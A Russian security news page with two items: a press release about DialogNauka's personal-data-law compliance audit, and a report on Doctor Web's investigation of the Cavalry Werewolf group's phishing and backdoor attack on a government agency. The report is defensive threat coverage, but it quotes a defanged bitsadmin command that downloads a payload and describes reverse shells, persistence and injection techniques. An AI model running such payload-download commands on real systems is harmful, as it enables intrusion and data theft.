Новая услуга «ДиалогНауки»: аудит ИС на соответствие требованиям ФЗ «О персональных данных»

Новая услуга «ДиалогНауки»: аудит ИС на соответствие требованиям ФЗ «О персональных данных»

Компания «ДиалогНаука», системный интегратор, дистрибьютор и разработчик решений в области информационной безопасности, предлагает новый вид аудита – услугу по оценке соответствия требованиям федерального закона «О персональных данных».

В настоящее время проблема защиты персональных данных является одной из наиболее актуальных для российских компаний. Это обусловлено тем, что 26 января 2007 г. вступил в силу федеральный закон «О персональных данных», в котором сформулированы общие требования по защите персональных данных, являющиеся обязательными как для коммерческих, так и государственных организаций. При этом, согласно статье 25, информационные системы должны быть приведены в соответствие с требованиями настоящего федерального закона не позднее 1 января 2010 г.

В этом году ФСБ и ФСТЭК разработали технические требования по защите персональных данных. Эти требования являются основой для специалистов «ДиалогНауки» при реализации проектов по построению систем обеспечения безопасности персональных данных, соответствующих требованиям федерального закона.

Новая услуга «ДиалогНауки» по оценке соответствия требованиям федерального закона «О персональных данных» предназначена, в первую очередь, для крупных компаний из кредитно-финансовой, страховой и телекоммуникационной сфер деятельности, транспортных компаний и компаний здравоохранения, а также для других государственных и коммерческих структур, заинтересованных в защите персональных данных, обрабатываемых в их информационных системах.

Процесс оценки состоит из следующих основных этапов, каждый из которых предусматривает выполнение определенного перечня задач: разработка регламента (технического задания) на выполнение работ; определение информационных систем, обрабатывающих персональные данные; классификация информационных систем; анализ бизнес-процессов компании с точки зрения соответствия положениям ФЗ «О персональных данных»; разработка частной модели угроз безопасности персональных данных; анализ имеющихся в распоряжении мер и средств защиты; оценка соответствия техническим требованиям ФСТЭК по защите персональных данных; разработка рекомендаций по устранению выявленных замечаний.

В завершении процедуры аудита его результаты оформляются в виде отчетного документа, который предоставляется заказчику. В общем случае этот документ состоит из следующих основных разделов: описание границ, в рамках которых был проведен аудит безопасности; описание структуры АС заказчика; методы и средства, которые использовались в процессе проведения аудита; описание выявленных несоответствий требованиям по защите персональных данных; рекомендации по устранению выявленных несоответствий требованиям ФЗ «О персональных данных»; предложения по плану реализации первоочередных мер, направленных на устранение выявленных недостатков.

«Вступивший в силу федеральный закон «О персональных данных», призванный повысить уровень защищенности информационных систем, распространяется на большое количество организаций, - отметил Виктор Сердюк, генеральный директор «ДиалогНауки». - Для того чтобы предоставить возможность компаниям своевременно обнаружить и устранить возможные несоответствия положениям федерального закона «О персональных данных», нами была разработана новая услуга по соответствующему виду аудита. Уверен, что услуга по оценке соответствия требованиям федерального закона «О персональных данных» позволит всем нашим клиентам в срок привести их информационные системы в соответствие с требованиями федерального закона».

Источник

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Группировка Cavalry Werewolf взломала сеть госоргана с помощью бэкдоров

В июле 2025 года к специалистам компании «Доктор Веб» обратился клиент из госсектора с жалобой на рассылку подозрительных писем с корпоративного почтового ящика. Расследование показало: перед ними была целевая кампания кибергруппировки, которую аналитики идентифицировали как Cavalry Werewolf.

Цель атаки — сбор конфиденциальной информации и картирование сети для дальнейшего закрепления внутри инфраструктуры.

Начали злоумышленники банально, но эффективно — с фишинга. В качестве «приманки» приходили архивы с паролем и вложенным бэкдором BackDoor.ShellNET.1 (основан на открытом проекте Reverse-Shell-CS). Файлы маскировались под служебные записки и другие официальные документы — имена были соответствующие, чтобы снизить бдительность получателя.

 

После запуска BackDoor.ShellNET.1 атакующие использовали стандартный для Windows инструмент bitsadmin для скачивания дополнительных полезных нагрузок (пример: bitsadmin /transfer www /download hxxp://…/winpot.exe). Среди загруженных модулей оказался стилер Trojan.FileSpyNET.5, который массово тянул документы (.doc/.docx/.xlsx/.pdf), текстовые файлы и изображения. Для скрытого доступа применяли BackDoor.Tunnel.41 (вариант ReverseSocks5) — с его помощью создавались SOCKS5-туннели и обеспечивалось скрытое подключение к заражённому ПК.

Дальше — больше: специалисты «Доктор Веб» обнаружили целый набор инструментов, как собственных, так и основанных на open-source. В арсенале группировки — скриптовые загрузчики (например, BAT.DownLoader.1138), «упакованные» трояны (Trojan.Packed2.49708, Trojan.Siggen31.54011 и т. п.), бэкдоры, управляемые через телеграм-ботов (BackDoor.Siggen2.5463, BackDoor.ShellNET.2), а также прокси-модули типа BackDoor.ReverseProxy.1. Некоторые варианты внедряли полезную нагрузку в легитимные процессы — например, инжектировали данные в aspnet_compiler.exe, чтобы бэкдор выполнялся в контексте доверенного приложения.

 

Интересно, что злоумышленники активно пользуются открытими решениями: либо берут код «как есть», либо модифицируют его под свои нужды. Для доставки следующей волны вредоносов они используют стандартные утилиты — PowerShell, bitsadmin, curl — а для сохранения присутствия в системе модифицируют автозагрузку через реестр (HKCU\...\Run) или ставят исполняемые файлы в C:\users\public\pictures и похожие публичные папки.

Атака Cavalry Werewolf показала типичную для целевых кампаний логику: разведка (whoami, ipconfig, просмотр директорий), проверка прокси и сети, затем загрузка инструментов и закрепление. Также злоумышленники могли позже использовать скомпрометированные устройства для перехода в другие сети — например, при смене работы жертвы — и разворачивать дальнейшие атаки через доверенные каналы.

Отдельные особенности группировки, которые отмечают аналитики «Доктор Веб»: предпочтение к open-source-инструментам, частое использование обратных шеллов и SOCKS-туннелей, внедрение вреда в видимо «безобидные» программы и управление через Telegram API. Фишинговые рассылки имитируют сообщения от государственных органов — это снижает подозрительность целевой аудитории и повышает шансы успешной компрометации.

Рекомендации для организаций — стандартный, но действенный набор мер: усилить фильтрацию почты и блокировку подозрительных вложений, ограничить возможность запуска bitsadmin/PowerShell неподписанных скриптов, включить контроль исполнения (application control) и EDR, регулярно проверять целевые публичные папки, применять многофакторную аутентификацию и оперативно реагировать на подозрительные соединения с неизвестными C2-адресами. При обнаружении инцидента — немедленно изолировать пострадавшие хосты и провести полноценную форензику, чтобы выявить степень компрометации.

Расследование «Доктор Веб» — ещё одно напоминание: даже крупные организации с государственным уровнем защиты уязвимы к грамотному фишингу и тому, что за ним следует. В современных целевых атаках именно сочетание человеческой ошибки и хорошо отлаженных инструментов злоумышленников делает наибольший ущерб.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru